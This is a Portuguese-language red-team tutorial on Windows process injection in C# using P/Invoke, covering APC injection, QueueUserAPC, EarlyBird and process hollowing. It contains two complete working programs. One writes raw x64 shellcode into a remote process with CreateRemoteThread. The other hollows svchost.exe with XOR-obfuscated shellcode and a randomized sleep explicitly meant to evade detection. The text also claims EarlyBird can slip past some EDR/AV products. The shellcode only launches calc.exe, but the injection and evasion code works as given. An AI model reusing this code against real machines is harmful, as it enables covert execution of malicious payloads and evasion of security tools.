Você está na página 1de 14

APC Injection

API Win32 e P/Invoke em C#, C e C++

Introdução

O que são APCs de usuário?


Chamadas de procedimento assíncronas (APCs) são formas de um thread em execução dentro de um
aplicativo executar uma tarefa de forma assíncrona a partir de suas operações atuais. Cada thread em
um aplicativo tem uma fila dessas APCs que são executadas na ordem FIFO (primeiro a entrar,
primeiro a sair) quando esse thread entra em um “estado de alerta”. Um thread entra em um estado
de alerta quando chama SleepEx , SignalObjectAndWait , WaitForSingleObjectEx ,
WaitForMultipleObjectsEx , MsgWaitForMultipleObjectsEx ou NtTestAlert . Abaixo está uma
imagem que demonstra o fluxo de controle de como os APCs são processados
Porque utilizar C#, C ou C++
Com o aumento das ferramentas ofensivas do .NET, particularmente do C#, estamos vendo uma
grande expansão na capacidade operacional, especialmente no que diz respeito à execução de nosso
código na memória (por exemplo, o Cobalt Strike's execute-assembly). Embora o C# forneça muitas
funcionalidades superficialmente, às vezes precisamos aproveitar funções do sistema operacional que
não são facilmente acessíveis a partir do código gerenciado. Felizmente, o .NET oferece integração
com a API do Windows por meio de uma tecnologia chamada Platform Invoke, ou P/Invoke, para
abreviar.

C# pode ser uma linguagem muito útil para começar a construir seu kit de ferramentas inicial para
Red Team. Compreensivelmente, ele não fornece a covert-ness, que podemos usar em linguagens
como C ou C++. Mas tem outros aspectos, como na execução da memória e com o aumento de
ferramentas que usam C#, também vimos algumas táticas interessantes que podem ser utilizadas
para contornar a detecção e as defesas nos compromissos da Red Team.

Código gerenciado e não gerenciado

C# é uma linguagem orientada a objetos baseada no .NET Framework desenvolvido pela Microsoft. A
sintaxe é bastante fácil de entender e aprender. Existem dois termos gerais que você ouvirá:

1. Código não gerenciado.


2. Código gerenciado.

No caso de código não gerenciado, como diz a Microsoft, quem manda é o programador ou tudo mais.
Tudo, desde gerenciamento de memória, coleta de lixo, tratamento de exceções e considerações de
segurança, como proteções contra ataques de buffer overflow, é a dor de cabeça do programador. Ele
compila diretamente na linguagem nativa que o sistema operacional pode executar diretamente e
também fornece acesso de baixo nível ao programador.
Para código gerenciado, o código gerenciado por um CLR (Common Language Runtime) no .NET
Framework. O CLR pega o código e compila em uma linguagem intermediária conhecida como IL. Em
seguida, ele é compilado pelo tempo de execução e executado. Ele também fornece gerenciamento
automático de memória, proteções de segurança, coleta de lixo e tratamento de exceções, etc

Ao usar C#, às vezes precisamos acessar o poder do código não gerenciado a partir do nosso código
gerenciado. Podemos criar uma ponte entre nossos códigos gerenciados e não gerenciados graças à
funcionalidade de interoperabilidade que o CLR oferece. Essa interoperabilidade é possível com o uso
do P/Invoke!

O que é P/Invoke
Considere esta situação comum: você precisa alocar memória em seu processo atual para copiar no
shellcode e então criar um novo thread para executá-lo. Como o Common Language Runtime (CLR)
gerencia coisas como alocação de memória para nós, daí o termo “código gerenciado”, isso não é
possível por meio da funcionalidade integrada do .NET

Platform Invoke ou também conhecido como P/Invoke é o que nos ajuda a usar código inseguro ou
não gerenciado de bibliotecas não gerenciadas em nosso código gerenciado. De acordo com a
Microsoft, P/Invoke é uma tecnologia que permite acessar estruturas, retornos de chamada e funções
em bibliotecas não gerenciadas a partir de seu código gerenciado. A maior parte da API P/Invoke está
contida em dois namespaces: Systeme System.Runtime.InteropServices. O uso desses dois
namespaces fornece as ferramentas para descrever como você deseja se comunicar com o
componente nativo.
Marshaling
Como estamos interagindo com funções não gerenciadas de código gerenciado, precisamos ser
capazes de lidar automaticamente com coisas como conversão de tipo de dados. Simplificando, é
isso que o marshaling faz por nós. O gráfico abaixo mostra uma visão geral de alto nível de como
seu código C# interage com código não gerenciado.

Um exemplo prático disso é a conversão de uma assinatura de função não gerenciada em uma
assinatura gerenciada. Vamos levar a assinatura para VirtualAlloc()do nosso exemplo acima.

Exemplo abaixo:

LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwTamanho,
DWORD flAllocationType,
DWORD flProteger
);

Nós podemos ver isso VirtualAlloc()retorna um ponteiro para um objeto void (LPVOID) e recebe um
LPVOID para o lpAddressparâmetro, um número inteiro sem sinal (SIZE_T) para dwSizee uma palavra
dupla (DWORD) para o flAllocationTypee flProtectparâmetros. Como esses tipos não são válidos
no .NET, precisamos convertê-los. Abaixo uma tabela de tipos que encontrei para ajudar na conversão:
Usando esta tabela, a assinatura para VirtualAlloc()que precisaríamos usar em
nosso código C# seria:

[DllImport(“kernel32.dll”)]
privado estático externo IntPtr VirtualAlloc(
IntPtr lpStartAddr,
tamanho único,
uint flAllocationType,
uint flProtect);
DICA - Capturando erros do Win32
(somente no codigo teste)

O campo SetLastError é uma forma de gerenciar o consumo de mensagens de erro da API que, de
outra forma, perderíamos devido ao (des) empacotamento. Simplificando, isso apenas nos fornece a
capacidade de lidar com erros em nossa função externa por meio de uma chamada para
Marshal.GetLastWin32Error(). Considere o seguinte código:

if (RemoveDirectory(@”C:\Windows\System32"))
Console.Writeline(“Isso não vai funcionar”);
outro
Console.WriteLine(Marshal.GetLastWin32Error());

Neste código, quando RemoveDirectory()falhar, ele imprimirá o código de erro


Win32 descrevendo a falha. Este código pode ser analisado pelo
FormatMessage()função ou through throw new
Win32Exception(Marshal.GetLastWin32Error());. Eu recomendaria usar essa
funcionalidade em seu código, pelo menos durante o teste/depuração, para evitar a
perda de mensagens de erro importantes.
QueueUserAPC

De acordo com Mitre, a injeção de APC é comumente realizada anexando código


malicioso à fila APC do thread de um processo. As funções APC enfileiradas são
executadas quando o thread entra em um estado alterável. Um identificador para
um processo de vítima existente é criado primeiro com chamadas de API nativas do
Windows, como OpenThread. Neste ponto, QueueUserAPC pode ser usado para
invocar uma função.

QueueUserAPC é uma ferramenta que muitas vezes pode ser um atalho para
algumas tarefas que são manipuladas com objetos de sincronização. Ele permite que
você diga a um tópico específico para fazer algo sempre que for conveniente para
esse tópico (ou seja, quando ele termina seu trabalho atual e começa a esperar por
algo)

Digamos que você tenha um thread principal e um thread de trabalho. O thread de


trabalho abre um soquete para um servidor de arquivos e inicia o download de um
arquivo de 10 GB chamando recv() em um loop. O thread principal deseja que o
thread de trabalho faça outra coisa durante seu tempo de inatividade enquanto
aguarda pacotes de rede; ele pode enfileirar uma função para ser executada no
trabalhador enquanto, de outra forma, estaria esperando e sem fazer nada.

Process Hollowing

Process Hollowing é uma técnica na qual usamos um processo legítimo, injetamos


nele nosso shellcode e fazemos com que o processo execute nosso shellcode. De
acordo com Mitre , o esvaziamento do processo é comumente realizado criando um
processo em um estado suspenso e, em seguida, desmapeando/esvaziando sua
memória, que pode então ser substituída por código malicioso. Um processo vítima
pode ser criado com chamadas de API nativas do Windows, como CreateProcess, que
inclui um sinalizador para suspender o thread primário do processo. Neste ponto, o
processo pode ser desmapeado usando chamadas de APIs como
ZwUnmapViewOfSectionou NtUnmapViewOfSectionantes de ser gravado,
realinhado ao código injetado e retomado via VirtualAllocEx, WriteProcessMemory,
SetThreadContext, então ResumeThreadrespectivamente.

Portanto, primeiro criaremos um processo em estado suspenso usando


CreateProcess, consulte o processo usando ZwQueryInformationProcess, obtenha
alguns valores usando ReadProcessMemory, escreva nosso shellcode usando
WriteProcessMemorye então retome o tópico usando ResumeThread.
EarlyBird
Em padrão QueueUserAPC injection, todos os threads de um processo em execução
são abertos e o shellcode é vinculado a eles em busca de que um deles tenha um
estado de alerta para executar nosso shellcode. Isso é imprevisível, pois pode não
executar nosso shellcode ou pode executar nosso shellcode várias vezes.

Entra em cena o método EarlyBird. Neste método, em vez de direcionar um processo


em execução, optamos por criar um processo em estado suspenso. Depois de
escrever nosso shellcode no thread, colocamos um APC na fila e então retomamos o
thread. Dessa forma, o programa processa o APC antes da execução do thread
principal. Em alguns casos, ele pode ignorar alguns EDRs/AVs porque a execução do
nosso shellcode acontece antes que os EDRs possam ser conectados.
APC Injection - QueueUserAPC
Checklist
Abertura de Processo:

 Identificar o processo que queremos manipular.

Alocação de Memória no Processo:

 Usar a função VirtualAllocEx para reservar memória no espaço de endereço do processo


alvo.
 Verificar se a alocação de memória foi bem-sucedida.

Escrita do Shellcode:

 Preparar um shellcode que será executado no processo alvo.


 Inicializar valores, incluindo o tamanho do shellcode.

Chamadas de API:

 Usar funções como OpenProcess, VirtualAllocEx e WriteProcessMemory para


interagir com o processo alvo.
 Certificar-se de que os parâmetros das chamadas de API estejam corretos.

Execução do Shellcode:

 Utilizar a função CreateRemoteThread para criar um novo thread no processo alvo.


 Definir o ponto de entrada do shellcode como o código a ser executado pelo novo thread.

Enumerações e Importações:

 Definir enumerações, como flAllocationType, flProtect e dwDesiredAccess,


conforme necessário.
 Adicionar importações das funções necessárias, como OpenProcess, VirtualAllocEx e
WriteProcessMemory.

Shellcode e Parâmetros:

 Preparar o shellcode a ser injetado no processo alvo.


 Configurar os parâmetros, incluindo o tamanho do shellcode e outros valores necessários.

Alocação de Memória e Escrita:

 Alocar memória no processo alvo usando VirtualAllocEx.


 Escrever o shellcode na memória alocada usando WriteProcessMemory.

Execução Segura:

 Garantir que a execução do código no processo alvo seja legítima e autorizada.


 Considerar implicações de segurança e ética.
Monitoramento e Limpeza:

 Implementar monitoramento para detectar atividades suspeitas ou não autorizadas.


 Planejar a remoção segura de quaisquer modificações feitas no processo remoto após a
execução do shellcode.

Lembrando que a execução de código em processos remotos pode ter implicações significativas em
termos de segurança e privacidade, e é fundamental seguir as melhores práticas e regulamentações
aplicáveis.
EXEMPLO DE CODIGO
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, bool bInheritHandle, UInt32 dwProcessId);

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, int dwSize, UInt32
flAllocationType, UInt32 flProtect);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int
nSize, ref int lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UInt32
dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref int lpThreadId);
public enum State
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000
}
public enum Protection
{
PAGE_EXECUTE_READWRITE = 0x40
}
public enum Process
{
PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF,
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_READ = 0x0010,
PROCESS_VM_WRITE = 0x0020
}
static void Main(string[] args)
{
var desiredAccess = Process.PROCESS_CREATE_THREAD | Process.PROCESS_QUERY_INFORMATION |
Process.PROCESS_VM_OPERATION | Process.PROCESS_VM_READ | Process.PROCESS_VM_WRITE;
byte[] buf = new byte[276] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00 };
int shellcode_size = buf.Length;
int bytesWritten = 0;
int lpthreadID = 0;
IntPtr procHandle = OpenProcess((uint)desiredAccess, false, Convert.ToUInt32(args[0]));
IntPtr init = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode_size, (uint)State.MEM_COMMIT |
(uint)State.MEM_RESERVE, (uint)Protection.PAGE_EXECUTE_READWRITE);
WriteProcessMemory(procHandle, init, buf, shellcode_size, ref bytesWritten);
Console.WriteLine("[*] Bytes Written: {0}", bytesWritten);
IntPtr threadPTR = CreateRemoteThread(procHandle, IntPtr.Zero, 0, init, IntPtr.Zero, 0, ref lpthreadID);
Console.WriteLine("[*] Thread ID: {0}", lpthreadID);
}
APC Injection - Process Hollowing
checklist

Importações de API:

 Comece definindo as importações de API necessárias que serão usadas para interagir com o
processo alvo. Essas importações incluem funções como CreateProcess,
ZwQueryInformationProcess, ReadProcessMemory, WriteProcessMemory, SetThreadContext e
ResumeThread.

Estruturas e Enumerações:

 Você também precisa definir estruturas e enumerações, como STARTUPINFO,


PROCESS_INFORMATION e PROCESS_BASIC_INFORMATION, que serão usadas para gerenciar
informações do processo.

Criando o Processo Alvo:

 Use a função CreateProcess para criar um processo alvo em um estado suspenso. Isso é feito
fornecendo o caminho do executável do processo desejado e um sinalizador para suspender o
thread primário do processo.

Obtendo o ID do Processo Alvo:

 Recupere o ID do processo alvo do PROCESS_INFORMATION que foi inicializado ao criar o


processo.

Inserindo o Shellcode:

 Cole o shellcode que você deseja injetar no processo. Isso pode ser um shellcode malicioso ou
qualquer código que você deseja que o processo execute.

Descriptografando o Shellcode (se necessário):

 Se o shellcode estiver criptografado, descriptografe-o para que ele possa ser executado
corretamente.

Manipulando o Process Environment Block (PEB):

 Obtenha o endereço do Process Environment Block (PEB) do processo suspenso. O PEB é uma
estrutura de memória que contém informações importantes sobre o processo.
Calculando o Endereço do Ponto de Entrada Real:

 Calcule o endereço do ponto de entrada real do processo alvo, levando em consideração o


Address Space Layout Randomization (ASLR). Isso envolve calcular o endereço base da imagem
real, o valor e_lfanew, o endereço virtual relativo do ponto de entrada (RVA) e, finalmente, o
endereço absoluto do ponto de entrada.

Escrevendo o Shellcode no Ponto de Entrada:

 Use a função WriteProcessMemory para escrever o shellcode no endereço calculado do ponto


de entrada real.

Retomando o Thread do Processo:

 Use a função ResumeThread para retomar a execução do thread principal do processo alvo.

Lembre-se de que essa técnica é altamente invasiva e, quando usada de maneira inadequada, pode
ser ilegal e prejudicial. É importante seguir todas as leis e regulamentos aplicáveis e usar seu
conhecimento de maneira ética e responsável. A segurança cibernética deve ser usada para proteger
sistemas e redes, não para causar danos ou realizar atividades maliciosas.
EXEMPLO DE CODIGO
using System;
using static Process_Hollowing.Imports.Imports;

namespace Process_Hollowing
{
class Program
{
public static void sleep()
{
var rand = new Random();
uint randTime = (uint)rand.Next(10000, 20000);
double decide = randTime / 1000 - 0.5;
DateTime now = DateTime.Now;
Console.WriteLine("[*] Sleeping for {0} seconds to evade detections...", randTime / 1000);
Sleep(randTime);
if (DateTime.Now.Subtract(now).TotalSeconds < decide)
{
return;
}
}
public static void Hollow()
{
PROCESS_INFORMATION proc_info = new PROCESS_INFORMATION();
STARTUPINFO startup_info = new STARTUPINFO();
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
string path = @"C:\\Windows\\System32\\svchost.exe";
bool procINIT = CreateProcess(null, path, IntPtr.Zero, IntPtr.Zero, false,
CreationFlags.SUSPENDED,
IntPtr.Zero, null, ref startup_info, ref proc_info);
if (procINIT == true)
{
Console.WriteLine("[*] Process create successfully.");
Console.WriteLine("[*] Process ID: {0}", proc_info.dwProcessId);
}
else
{
Console.WriteLine("[-] Could not create the process.");
}
// msfvenom -p windows/x64/exec CMD=calc.exe -f csharp EXITFUNC=thread --encrypt xor --encrypt-
key z
byte[] buf = new byte[276] {
0x86,0x32,0xf9,0x9e,0x8a,0x92,0xba,0x7a,0x7a,0x7a,0x3b,0x2b,0x3b,0x2a,0x28,
0x2b,0x2c,0x32,0x4b,0xa8,0x1f,0x32,0xf1,0x28,0x1a,0x32,0xf1,0x28,0x62,0x32,
0xf1,0x28,0x5a,0x32,0xf1,0x08,0x2a,0x32,0x75,0xcd,0x30,0x30,0x37,0x4b,0xb3,
0x32,0x4b,0xba,0xd6,0x46,0x1b,0x06,0x78,0x56,0x5a,0x3b,0xbb,0xb3,0x77,0x3b,
0x7b,0xbb,0x98,0x97,0x28,0x3b,0x2b,0x32,0xf1,0x28,0x5a,0xf1,0x38,0x46,0x32,
0x7b,0xaa,0xf1,0xfa,0xf2,0x7a,0x7a,0x7a,0x32,0xff,0xba,0x0e,0x1d,0x32,0x7b,
0xaa,0x2a,0xf1,0x32,0x62,0x3e,0xf1,0x3a,0x5a,0x33,0x7b,0xaa,0x99,0x2c,0x32,
0x85,0xb3,0x3b,0xf1,0x4e,0xf2,0x32,0x7b,0xac,0x37,0x4b,0xb3,0x32,0x4b,0xba,
0xd6,0x3b,0xbb,0xb3,0x77,0x3b,0x7b,0xbb,0x42,0x9a,0x0f,0x8b,0x36,0x79,0x36,
0x5e,0x72,0x3f,0x43,0xab,0x0f,0xa2,0x22,0x3e,0xf1,0x3a,0x5e,0x33,0x7b,0xaa,
0x1c,0x3b,0xf1,0x76,0x32,0x3e,0xf1,0x3a,0x66,0x33,0x7b,0xaa,0x3b,0xf1,0x7e,
0xf2,0x32,0x7b,0xaa,0x3b,0x22,0x3b,0x22,0x24,0x23,0x20,0x3b,0x22,0x3b,0x23,
0x3b,0x20,0x32,0xf9,0x96,0x5a,0x3b,0x28,0x85,0x9a,0x22,0x3b,0x23,0x20,0x32,
0xf1,0x68,0x93,0x2d,0x85,0x85,0x85,0x27,0x32,0xc0,0x7b,0x7a,0x7a,0x7a,0x7a,
0x7a,0x7a,0x7a,0x32,0xf7,0xf7,0x7b,0x7b,0x7a,0x7a,0x3b,0xc0,0x4b,0xf1,0x15,
0xfd,0x85,0xaf,0xc1,0x9a,0x67,0x50,0x70,0x3b,0xc0,0xdc,0xef,0xc7,0xe7,0x85,
0xaf,0x32,0xf9,0xbe,0x52,0x46,0x7c,0x06,0x70,0xfa,0x81,0x9a,0x0f,0x7f,0xc1,
0x3d,0x69,0x08,0x15,0x10,0x7a,0x23,0x3b,0xf3,0xa0,0x85,0xaf,0x19,0x1b,0x16,
0x19,0x54,0x1f,0x02,0x1f,0x7a };
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(buf[i] ^ (byte)'z');
}
uint retLength = 0;
IntPtr procHandle = proc_info.hProcess;
IntPtr threadHandle = proc_info.hThread;
ZwQueryInformationProcess(procHandle, PROCESSBASICINFORMATION, ref pbi, (uint)(IntPtr.Size * 6),
ref retLength);
IntPtr imageBaseAddr = (IntPtr)((Int64)pbi.PebAddress + 0x10);
Console.WriteLine("[*] Image Base Address found: 0x{0}", imageBaseAddr.ToString("x"));
byte[] baseAddrBytes = new byte[0x8];
IntPtr lpNumberofBytesRead = IntPtr.Zero;
ReadProcessMemory(procHandle, imageBaseAddr, baseAddrBytes, baseAddrBytes.Length, out
lpNumberofBytesRead);
IntPtr execAddr = (IntPtr)(BitConverter.ToInt64(baseAddrBytes, 0));
byte[] data = new byte[0x200];
ReadProcessMemory(procHandle, execAddr, data, data.Length, out lpNumberofBytesRead);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
Console.WriteLine("[*] e_lfanew: 0x{0}", e_lfanew.ToString("X"));
uint rvaOffset = e_lfanew + 0x28;
uint rva = BitConverter.ToUInt32(data, (int)rvaOffset);
IntPtr entrypointAddr = (IntPtr)((UInt64)execAddr + rva);
Console.WriteLine("[*] Entrypoint Found: 0x{0}", entrypointAddr.ToString("X"));
IntPtr lpNumberOfBytesWritten = IntPtr.Zero;
WriteProcessMemory(procHandle, entrypointAddr, buf, buf.Length, ref lpNumberOfBytesWritten);
Console.WriteLine("[*] Memory written. Resuming thread...");
ResumeThread(threadHandle);
}
static void Main(string[] args)
{
sleep();
Hollow();
}
}
}

REFEREINCIAS

Hacker Cript0ace
Hacker Mall Nelson
https://aliongreen.github.io/posts/remote-thread-injection.html
https://stackoverflow.com/questions/8551004/when-to-use-queueuserapc
https://github.com/Kara-4search/EarlyBirdInjection_CSharp
https://github.com/dosxuz/Process-Injections/tree/main/EarlyBird/EarlyBird
https://mark-borg.github.io/blog/2017/interop/
https://medium.com/@matterpreter/offensive-p-invoke-leveraging-the-win32-api-
from-managed-code-7eef4fdef16d
https://medium.com/@enigma0x3
https://posts.specterops.io/the-curious-case-of-queueuserapc-3f62e966d2cb

Você também pode gostar